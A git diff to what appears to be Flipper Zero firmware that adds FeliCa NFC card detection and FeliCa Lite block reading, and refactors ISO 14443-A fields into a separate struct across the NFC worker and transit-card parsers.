@@ -329,6 +330,46 @@ static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* t return card_read; } +static bool nfc_worker_read_felica(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { + bool read_success = false; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + FelicaData* data = &nfc_worker->dev_data->felica_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, tx_rx, false); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + do { + if(!furi_hal_nfc_detect(&nfc_worker->dev_data->nfc_data, 300)) break; + if(!felica_read_card(tx_rx, data, nfc_data->uid, nfc_data->f_data.pmm)) break; + read_success = true; + } while(false); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } + + return read_success; +} + +static bool nfc_worker_read_nfcf(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + FuriHalNfcFDevData* f_data = &nfc_data->f_data; + + bool card_read = false; + furi_hal_nfc_sleep(); + if(felica_check_ic_type(f_data->pmm)) { + FURI_LOG_I(TAG, "FeliCa detected"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolFelica; + nfc_worker->dev_data->felica_data.type = felica_get_ic_type(f_data->pmm); + card_read = nfc_worker_read_felica(nfc_worker, tx_rx); + } else { + nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; + } + return card_read; +} + void nfc_worker_read(NfcWorker* nfc_worker) { furi_assert(nfc_worker); furi_assert(nfc_worker->callback); @@ -373,6 +414,11 @@ void nfc_worker_read(NfcWorker* nfc_worker) { event = NfcWorkerEventReadUidNfcB; break; } else if(nfc_data->type == FuriHalNfcTypeF) { + nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); + if(nfc_worker_read_nfcf(nfc_worker, &tx_rx)) { + event = NfcWorkerEventReadFelica; + break; + } event = NfcWorkerEventReadUidNfcF; break; } else if(nfc_data->type == FuriHalNfcTypeV) { @@ -417,7 +463,7 @@ void nfc_worker_read_type(NfcWorker* nfc_worker) { if(read_mode == NfcReadModeMfClassic) { nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; nfc_worker->dev_data->mf_classic_data.type = mf_classic_get_classic_type( - nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + nfc_data->a_data.atqa[0], nfc_data->a_data.atqa[1], nfc_data->a_data.sak); if(nfc_worker_read_mf_classic(nfc_worker, &tx_rx)) { FURI_LOG_D(TAG, "Card read"); dev_data->protocol = NfcDeviceProtocolMifareClassic; @@ -478,7 +524,8 @@ void nfc_worker_emulate_uid(NfcWorker* nfc_worker) { // Need to save ATS to support ISO-14443A-4 emulation while(nfc_worker->state == NfcWorkerStateUidEmulate) { - if(furi_hal_nfc_listen(data->uid, data->uid_len, data->atqa, data->sak, false, 100)) { + if(furi_hal_nfc_listen( + data->uid, data->uid_len, data->a_data.atqa, data->a_data.sak, false, 100)) { if(furi_hal_nfc_tx_rx(&tx_rx, 100)) { reader_data->size = tx_rx.rx_bits / 8; if(reader_data->size > 0) { @@ -499,8 +546,11 @@ void nfc_worker_emulate_apdu(NfcWorker* nfc_worker) { FuriHalNfcDevData params = { .uid = {0xCF, 0x72, 0xd4, 0x40}, .uid_len = 4, - .atqa = {0x00, 0x04}, - .sak = 0x20, + .a_data = + { + .atqa = {0x00, 0x04}, + .sak = 0x20, + }, .type = FuriHalNfcTypeA, }; @@ -510,7 +560,8 @@ void nfc_worker_emulate_apdu(NfcWorker* nfc_worker) { } while(nfc_worker->state == NfcWorkerStateEmulateApdu) { - if(furi_hal_nfc_listen(params.uid, params.uid_len, params.atqa, params.sak, false, 300)) { + if(furi_hal_nfc_listen( + params.uid, params.uid_len, params.a_data.atqa, params.a_data.sak, false, 300)) { FURI_LOG_D(TAG, "POS terminal detected"); if(emv_card_emulation(&tx_rx)) { FURI_LOG_D(TAG, "EMV card emulated"); @@ -551,8 +602,8 @@ void nfc_worker_emulate_mf_ultralight(NfcWorker* nfc_worker) { furi_hal_nfc_emulate_nfca( nfc_data->uid, nfc_data->uid_len, - nfc_data->atqa, - nfc_data->sak, + nfc_data->a_data.atqa, + nfc_data->a_data.sak, mf_ul_prepare_emulation_response, &emulator, 5000); @@ -783,8 +834,8 @@ void nfc_worker_write_mf_classic(NfcWorker* nfc_worker) { } FURI_LOG_I(TAG, "Check mf classic type"); - MfClassicType type = - mf_classic_get_classic_type(nfc_data.atqa[0], nfc_data.atqa[1], nfc_data.sak); + MfClassicType type = mf_classic_get_classic_type( + nfc_data.a_data.atqa[0], nfc_data.a_data.atqa[1], nfc_data.a_data.sak); if(type != nfc_worker->dev_data->mf_classic_data.type) { FURI_LOG_E(TAG, "Wrong mf classic type"); nfc_worker->callback(NfcWorkerEventWrongCard, nfc_worker->context); @@ -855,8 +906,8 @@ void nfc_worker_update_mf_classic(NfcWorker* nfc_worker) { } FURI_LOG_I(TAG, "Check MF classic type"); - MfClassicType type = - mf_classic_get_classic_type(nfc_data.atqa[0], nfc_data.atqa[1], nfc_data.sak); + MfClassicType type = mf_classic_get_classic_type( + nfc_data.a_data.atqa[0], nfc_data.a_data.atqa[1], nfc_data.a_data.sak); if(type != nfc_worker->dev_data->mf_classic_data.type) { FURI_LOG_E(TAG, "MF classic type mismatch"); nfc_worker->callback(NfcWorkerEventWrongCard, nfc_worker->context); @@ -918,7 +969,8 @@ void nfc_worker_mf_ultralight_read_auth(NfcWorker* nfc_worker) { while(nfc_worker->state == NfcWorkerStateReadMfUltralightReadAuth) { furi_hal_nfc_sleep(); if(furi_hal_nfc_detect(nfc_data, 300) && nfc_data->type == FuriHalNfcTypeA) { - if(mf_ul_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { + if(mf_ul_check_card_type( + nfc_data->a_data.atqa[0], nfc_data->a_data.atqa[1], nfc_data->a_data.sak)) { nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); if(data->auth_method == MfUltralightAuthMethodManual || data->auth_method == MfUltralightAuthMethodAuto) { diff --git a/lib/nfc/nfc_worker.h b/lib/nfc/nfc_worker.h index fdcaa72fd..8e4c37d84 100644 --- a/lib/nfc/nfc_worker.h +++ b/lib/nfc/nfc_worker.h @@ -34,6 +34,7 @@ typedef enum { NfcWorkerEventReadUidNfcV, NfcWorkerEventReadUidNfcF, NfcWorkerEventReadUidNfcA, + NfcWorkerEventReadFelica, NfcWorkerEventReadMfUltralight, NfcWorkerEventReadMfDesfire, NfcWorkerEventReadMfClassicDone, diff --git a/lib/nfc/nfc_worker_i.h b/lib/nfc/nfc_worker_i.h index 9733426ab..4bd9b1c65 100644 --- a/lib/nfc/nfc_worker_i.h +++ b/lib/nfc/nfc_worker_i.h @@ -11,6 +11,7 @@ #include #include #include +#include #include #include diff --git a/lib/nfc/parsers/plantain_4k_parser.c b/lib/nfc/parsers/plantain_4k_parser.c index 348b5a64c..be914ceee 100644 --- a/lib/nfc/parsers/plantain_4k_parser.c +++ b/lib/nfc/parsers/plantain_4k_parser.c @@ -70,8 +70,8 @@ bool plantain_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(plantain_keys_4k); i++) { mf_classic_reader_add_sector( &reader, diff --git a/lib/nfc/parsers/plantain_parser.c b/lib/nfc/parsers/plantain_parser.c index 5328b5c4f..f0c22a39a 100644 --- a/lib/nfc/parsers/plantain_parser.c +++ b/lib/nfc/parsers/plantain_parser.c @@ -45,8 +45,8 @@ bool plantain_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(plantain_keys); i++) { mf_classic_reader_add_sector( &reader, plantain_keys[i].sector, plantain_keys[i].key_a, plantain_keys[i].key_b); diff --git a/lib/nfc/parsers/troika_4k_parser.c b/lib/nfc/parsers/troika_4k_parser.c index d87b4eba7..b468fa8b9 100644 --- a/lib/nfc/parsers/troika_4k_parser.c +++ b/lib/nfc/parsers/troika_4k_parser.c @@ -67,8 +67,8 @@ bool troika_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(troika_4k_keys); i++) { mf_classic_reader_add_sector( &reader, troika_4k_keys[i].sector, troika_4k_keys[i].key_a, troika_4k_keys[i].key_b); diff --git a/lib/nfc/parsers/troika_parser.c b/lib/nfc/parsers/troika_parser.c index 9c16296f3..2ab9476c2 100644 --- a/lib/nfc/parsers/troika_parser.c +++ b/lib/nfc/parsers/troika_parser.c @@ -43,8 +43,8 @@ bool troika_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(troika_keys); i++) { mf_classic_reader_add_sector( diff --git a/lib/nfc/parsers/two_cities.c b/lib/nfc/parsers/two_cities.c index 2c6184a71..16c7d049a 100644 --- a/lib/nfc/parsers/two_cities.c +++ b/lib/nfc/parsers/two_cities.c @@ -71,8 +71,8 @@ bool two_cities_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) furi_assert(nfc_worker); MfClassicReader reader = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - reader.type = mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; + reader.type = mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); for(size_t i = 0; i < COUNT_OF(two_cities_keys_4k); i++) { mf_classic_reader_add_sector( &reader, diff --git a/lib/nfc/protocols/felica.c b/lib/nfc/protocols/felica.c new file mode 100644 index 000000000..57b5fc7d5 --- /dev/null +++ b/lib/nfc/protocols/felica.c @@ -0,0 +1,572 @@ +#include +#include +#include "felica.h" +#include "nfc_util.h" +#include +#include "furi_hal_nfc.h" + +#define TAG "FeliCa" + +bool felica_check_ic_type(uint8_t* PMm) { + uint8_t ic_type = PMm[0]; + uint8_t rom_type = PMm[1]; + + bool is_valid_ic = false; + if (ic_type == 0xff) { // RC-S967 in nfc-dep + is_valid_ic = true; + } else if (ic_type == 0xf0 || ic_type == 0xf2) { // Lite(S) + is_valid_ic = true; + } else if (ic_type == 0xe1) { // RC-S967 in plug mode + is_valid_ic = true; + } else if (ic_type == 0xe0) { // RC-S926 + is_valid_ic = true; + } else if (ic_type >= 0x44 && ic_type <= 0x48) { // SD2 + is_valid_ic = true; + } else if (ic_type == 0x3e && rom_type == 0x03) { // RC-SA08 + return true; + } else if (ic_type == 0x35) { // RC-SA01 + is_valid_ic = true; + } else if (ic_type == 0x32) { // RC-SA00 + is_valid_ic = true; + } else if (ic_type == 0x31) { // Suica/PASMO + is_valid_ic = true; + } else if (ic_type == 0x20) { // RC-S962 + is_valid_ic = true; + } else if (ic_type >= 0x10 && ic_type <= 0x1f) { // Mobile IC version 2/3 + is_valid_ic = true; + } else if (ic_type == 0x0d) { // RC-S960 + is_valid_ic = true; + } else if (ic_type == 0x0c) { // RC-S954 + is_valid_ic = true; + } else if (ic_type == 0x0b) { // Old Suica? + is_valid_ic = true; + } else if (ic_type == 0x09) { // RC-S953 + is_valid_ic = true; + } else if (ic_type == 0x08) { // RC-S952 + is_valid_ic = true; + } else if (ic_type == 0x06 || ic_type == 0x07) { // Mobile IC version 1 + is_valid_ic = true; + } else if (ic_type == 0x02) { // RC-S919 + is_valid_ic = true; + } else if (ic_type == 0x01) { // RC-S915 + is_valid_ic = true; + } else if (ic_type == 0x00) { // RC-S830 + is_valid_ic = true; + } + + if (!is_valid_ic) { + return false; + } + + // need more samples to confirm below + /* + if (rom_type != 0x01) { + return false; + } + */ + + return true; +} + +uint8_t felica_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + const uint16_t* service_code_list, uint8_t service_count, + const uint32_t* block_list, uint8_t block_count) { + dest[0] = FELICA_UNENCRYPTED_READ_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = service_count; + uint8_t msg_len = 10; + for(int i = 0; i < service_count; i++) { + uint16_t service_code = service_code_list[i]; + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + } + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + uint16_t block_num = block_list[i]; + dest[msg_len++] = block_num & 0xFF; + dest[msg_len++] = block_num >> 8; + } + + return msg_len; +} + +uint8_t felica_lite_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + bool is_read_only, + const uint8_t* block_list, uint8_t block_count) { + + dest[0] = FELICA_UNENCRYPTED_READ_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = 1; + uint8_t msg_len = 10; + uint8_t service_code = RANDOM_TYPE_SERVICE_ATTRIBUTE | ( + (is_read_only) + ? UNAUTH_RO_SERVICE_ATTRIBUTE + : UNAUTH_RW_SERVICE_ATTRIBUTE); + + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + dest[msg_len++] = IS_2_BYTE_BLOCK_LIST_ELEMENT; + dest[msg_len++] = block_list[i]; + } + + return msg_len; +} + +uint16_t felica_parse_unencrypted_read( + uint8_t* buf, uint8_t len, + FelicaReader* reader, + uint8_t* out, uint16_t out_len) { + if(len < 12) { + return false; + } + len--; + buf++; + + if(*buf != FELICA_UNENCRYPTED_READ_RES) { + return false; + } + len--; + buf++; + + if(memcmp(buf, reader->current_idm, 8) != 0) { + return false; + } + len -= 8; + buf += 8; + + reader->status_flags[0] = buf[0]; + reader->status_flags[1] = buf[1]; + len -= 2; + buf += 2; + if(reader->status_flags[0] != 0) { + FURI_LOG_W(TAG, "SF1: %02X SF2: %02X", reader->status_flags[0], reader->status_flags[1]); + return 0; + } + + if(len < 1) { + return 0; + } + uint16_t data_length = *buf * 16; + len--; + buf++; + + if (len < data_length || out_len < data_length) { + return 0; + } + + memcpy(out, buf, data_length); + + return data_length; +} + +uint8_t felica_prepare_unencrypted_write( + uint8_t* dest, + FelicaReader* reader, + const uint16_t* service_code_list, uint8_t service_count, + const uint32_t* block_list, uint8_t block_count, + const uint8_t* block_data) { + dest[0] = FELICA_UNENCRYPTED_WRITE_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = service_count; + uint8_t msg_len = 10; + for(int i = 0; i < service_count; i++) { + uint16_t service_code = service_code_list[i]; + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + } + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + uint16_t block_num = block_list[i]; + dest[msg_len++] = block_num & 0xFF; + dest[msg_len++] = block_num >> 8; + } + + uint16_t data_length = block_count * FELICA_BLOCK_SIZE; + memcpy(dest + msg_len, block_data, data_length); + msg_len += data_length; + return msg_len; +} + +uint8_t felica_lite_prepare_unencrypted_write( + uint8_t* dest, + const FelicaReader* reader, + const uint8_t* block_list, uint8_t block_count, + const uint8_t* block_data) { + + dest[0] = FELICA_UNENCRYPTED_WRITE_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = 1; + uint8_t msg_len = 10; + uint8_t service_code = RANDOM_TYPE_SERVICE_ATTRIBUTE | UNAUTH_RW_SERVICE_ATTRIBUTE; + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + dest[msg_len++] = block_list[i]; + dest[msg_len++] = IS_2_BYTE_BLOCK_LIST_ELEMENT; + } + + uint16_t data_length = block_count * FELICA_BLOCK_SIZE; + memcpy(dest + msg_len, block_data, data_length); + msg_len += data_length; + return msg_len; +} + +bool felica_parse_unencrypted_write( + uint8_t* buf, uint8_t len, + FelicaReader* reader) { + if(len < 12) { + return false; + } + len--; + buf++; + + if(*buf != FELICA_UNENCRYPTED_WRITE_RES) { + return false; + } + len--; + buf++; + + if(memcmp(buf, reader->current_idm, 8) != 0) { + return false; + } + len -= 8; + buf += 8; + + reader->status_flags[0] = buf[0]; + reader->status_flags[1] = buf[1]; + len -= 2; + buf += 2; + if(reader->status_flags[0] != 0) { + FURI_LOG_W(TAG, "SF1: %02X SF2: %02X", reader->status_flags[0], reader->status_flags[1]); + return 0; + } + + return true; +} + + +FelicaICType felica_get_ic_type(uint8_t* PMm) { + uint8_t rom_type = PMm[0]; + uint8_t ic_type = PMm[1]; + + UNUSED(rom_type); + switch(ic_type) { + case 0xff: + return FelicaICTypeLink; + case 0xf2: + return FelicaICTypeLink; + case 0xf1: + return FelicaICTypeLiteS; + case 0xf0: + return FelicaICTypeLite; + case 0xe1: + return FelicaICTypeLink; + case 0xe0: + return FelicaICTypePlug; + case 0x48: + return FelicaICTypeSD2_6K; + case 0x47: + return FelicaICTypeRC_SA24_6K; + case 0x46: + return FelicaICTypeSD2_4K; + case 0x45: + case 0x44: + return FelicaICTypeSD2WithDES; + case 0x3e: + return FelicaICTypeRC_SA08; + case 0x35: + return FelicaICTypeSD1; + case 0x32: + return FelicaICTypeSD1WithDES; + case 0x31: + return FelicaICTypeSuica; + case 0x20: + return FelicaICTypeFRAM_4K; + case 0x1f: + case 0x1e: + case 0x1d: + case 0x1c: + case 0x1b: + case 0x1a: + case 0x19: + case 0x18: + return FelicaICTypeMobileIC_V4_1; + case 0x17: + return FelicaICTypeMobileIC_V4; + case 0x16: + case 0x15: + case 0x14: + return FelicaICTypeMobileIC_V3; + case 0x13: + case 0x12: + case 0x11: + case 0x10: + return FelicaICTypeMobileIC_V2; + case 0x0d: + return FelicaICTypeFRAM_9K; + case 0x0c: + return FelicaICTypeEMV_36K; + case 0x0b: // Old Suica? + return FelicaICTypeSuica; + case 0x09: + return FelicaICTypeEMV_16K; + case 0x08: + return FelicaICTypeEMV_32K; + case 0x07: + case 0x06: + return FelicaICTypeMobileIC_V1; + case 0x02: + return FelicaICType576B; + case 0x01: + return FelicaICType4K; + case 0x00: + return FelicaICType2K; + } + + return FelicaICType2K; +} + +void felica_parse_system_info(FelicaSystem* system, uint8_t* IDm, uint8_t* PMm) { + memcpy(system->idm, IDm, 8); + memcpy(system->pmm, PMm, 8); + for(int i = 0; i < 6; i++) { + char MRT_byte = PMm[2 + i]; + FelicaMRTParts* mrt_data = &system->maximum_response_times[i]; + mrt_data->real_a = (MRT_byte & 7) + 1; + MRT_byte >>= 3; + mrt_data->real_b = (MRT_byte & 7) + 1; + MRT_byte >>= 3; + mrt_data->exponent = (MRT_byte & 3); + } +} + +bool felica_lite_can_read_without_mac(uint8_t* mc_r_restr, uint8_t block_number) { + if(block_number > REG_LITE_BLOCK) { + return true; + } + uint8_t byte = mc_r_restr[block_number < 8 ? 0 : 1]; + return ((byte >> (block_number % 8)) & 1) == 0; +} + +void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t* data) { + FelicaBlock* block = malloc(sizeof(FelicaBlock)); + block->type = FelicaBlockTypeNormal; + memcpy(block->data, data, FELICA_BLOCK_SIZE); + service->blocks[number] = block; +} + +bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, FelicaData* data, FelicaSystem* system) { + const uint8_t fixed_services[] = { + SYS_CODE_LITE_BLOCK, + RC_LITE_BLOCK, + ID_LITE_BLOCK, + MAC_LITE_BLOCK, + DEVICE_ID_LITE_BLOCK, + CARD_KEY_VER_LITE_BLOCK, + MEM_CONFIG_LITE_BLOCK, + }; + + uint8_t block_data[FELICA_BLOCK_SIZE * 4]; + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, + reader, + true, + fixed_services, 1 + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange verifying Lite system code"); + return false; + } + if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (SYS_C)"); + return false; + } + if (block_data[0] != (LITE_SYSTEM_CODE >> 8) && block_data[1] != (LITE_SYSTEM_CODE & 0xFF)) { + FURI_LOG_W(TAG, "Unexpected SYS_C value"); + return false; + } + system->code = LITE_SYSTEM_CODE; + + FelicaService* service = malloc(sizeof(FelicaService)); + system->services = service; + service->number = 0; + service->block_count = CRC_CHECK_LITE_BLOCK; + service->blocks = malloc(sizeof(FelicaBlock*) * service->block_count); + for(int i = 0; i < service->block_count; i++) { + service->blocks[i] = NULL; + } + + felica_define_normal_block(service, SYS_CODE_LITE_BLOCK, block_data); + + memset(block_data, 0, FELICA_BLOCK_SIZE); + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_write( + tx_rx->tx_data, + reader, + &fixed_services[1], 1, + block_data + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange writing random challenge"); + return false; + } + if(!felica_parse_unencrypted_write(tx_rx->rx_data, tx_rx->rx_bits / 8, reader)) { + FURI_LOG_W(TAG, "Bad response to Write without Encryption (RC)"); + return false; + } + felica_define_normal_block(service, RC_LITE_BLOCK, block_data); + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, + reader, + true, + &fixed_services[2], 2 + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID with MAC"); + return false; + } + if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID, MAC)"); + return false; + } + felica_define_normal_block(service, ID_LITE_BLOCK, block_data); + felica_define_normal_block(service, MAC_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); + FURI_LOG_I(TAG, "ID:"); + for(int i = 0; i < 16; i++) { + FURI_LOG_I(TAG, "%02X", block_data[i]); + } + FURI_LOG_I(TAG, "MAC:"); + for(int i = 0; i < 16; i++) { + FURI_LOG_I(TAG, "%02X", block_data[i + FELICA_BLOCK_SIZE]); + } + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, + reader, + true, + &fixed_services[4], 3 + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading blocks"); + return false; + } + if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 3) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (D_ID, CKV, MC)"); + return false; + } + felica_define_normal_block(service, DEVICE_ID_LITE_BLOCK, block_data); + felica_define_normal_block(service, CARD_KEY_VER_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); + felica_define_normal_block(service, MEM_CONFIG_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE * 2); + + // Read SPAD and REG accordingly to MC + uint8_t* mc_data = block_data + (FELICA_BLOCK_SIZE * 2); + for (uint8_t block_number = 0; block_number <= REG_LITE_BLOCK; block_number++) { + if(!felica_lite_can_read_without_mac(mc_data + 6, block_number)) { + continue; + } + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, + reader, + true, + &block_number, 1 + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading blocks"); + return false; + } + if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (block %d)", block_number); + return false; + } + felica_define_normal_block(service, block_number, block_data); + } + if (data->type == FelicaICTypeLiteS) { + const uint8_t fixed_s_services[] = { + ID_LITE_BLOCK, + MAC_A_LITE_BLOCK, + WRITE_COUNT_LITE_BLOCK, + CRC_CHECK_LITE_BLOCK, + }; + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, + reader, + true, + fixed_s_services, 2 + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); + return false; + } + if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID, MAC_A)"); + return false; + } + felica_define_normal_block(service, ID_LITE_BLOCK, block_data); + felica_define_normal_block(service, MAC_A_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, + reader, + true, + &fixed_s_services[2], 2 + ); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); + return false; + } + if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (WC, CRC_CHECK)"); + return false; + } + felica_define_normal_block(service, WRITE_COUNT_LITE_BLOCK, block_data); + felica_define_normal_block(service, CRC_CHECK_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); + } + + return true; +} + +bool felica_read_card(FuriHalNfcTxRxContext* tx_rx, FelicaData* data, uint8_t* polled_idm, uint8_t* polled_pmm) { + furi_assert(tx_rx); + furi_assert(polled_idm); + furi_assert(polled_pmm); + + bool card_read = false; + do { + FelicaReader reader; + memcpy(reader.current_idm, polled_idm, 8); + memcpy(reader.current_pmm, polled_pmm, 8); + + FelicaSystem* current_system = malloc(sizeof(FelicaSystem)); + data->systems = current_system; + + felica_parse_system_info(current_system, polled_idm, polled_pmm); + current_system->next = NULL; + + if (data->type == FelicaICTypeLite || data->type == FelicaICTypeLiteS) { + FURI_LOG_I(TAG, "Reading Felica Lite system"); + felica_read_lite_system(tx_rx, &reader, data, current_system); + card_read = true; + break; + } + } while(false); + + return card_read; +} diff --git a/lib/nfc/protocols/felica.h b/lib/nfc/protocols/felica.h new file mode 100644 index 000000000..95020a86a --- /dev/null +++ b/lib/nfc/protocols/felica.h @@ -0,0 +1,173 @@ +#pragma once + +#include + +#define NFCF_F_SIG (13560000.0) +#define MRT_T_SIG 302064.89 //ns, 256 * 16 / NFC_F_SIG * 1e9 +#define MRT_T_SIG_x4 1208259.56 //ns, MRT_T_SIG * (4 ** 1) +#define MRT_T_SIG_x16 4833038.24 //ns, MRT_T_SIG * (4 ** 2) +#define MRT_T_SIG_x64 19332152.96 //ns, MRT_T_SIG * (4 ** 2) + +#define FELICA_BLOCK_SIZE 16 + +#define SUICA_SYSTEM_CODE 0x0003 +#define NDEF_SYSTEM_CODE 0x12fc +#define HCE_F_SYSTEM_CODE 0x4000 +#define OCTOPUS_SYSTEM_CODE 0x8008 +#define EDY_SYSTEM_CODE 0x811d +#define PASPY_SYSTEM_CODE 0x8592 +#define BLACKBOARD_SYSTEM_CODE 0x8620 +#define SAPICA_SYSTEM_CODE 0x865e +#define LITE_SYSTEM_CODE 0x88b4 +#define RYUTO_SYSTEM_CODE 0x8b5d +#define OKICA_SYSTEM_CODE 0x8fc1 +#define SECURE_ID_SYSTEM_CODE 0x957a +#define IRUCA_SYSTEM_CODE 0xde80 +#define COMMON_AREA_SYSTEM_CODE 0xfe00 +#define PLUG_SYSTEM_CODE 0xfee1 + +#define REG_LITE_BLOCK 0x0e +#define RC_LITE_BLOCK 0x80 +#define MAC_LITE_BLOCK 0x81 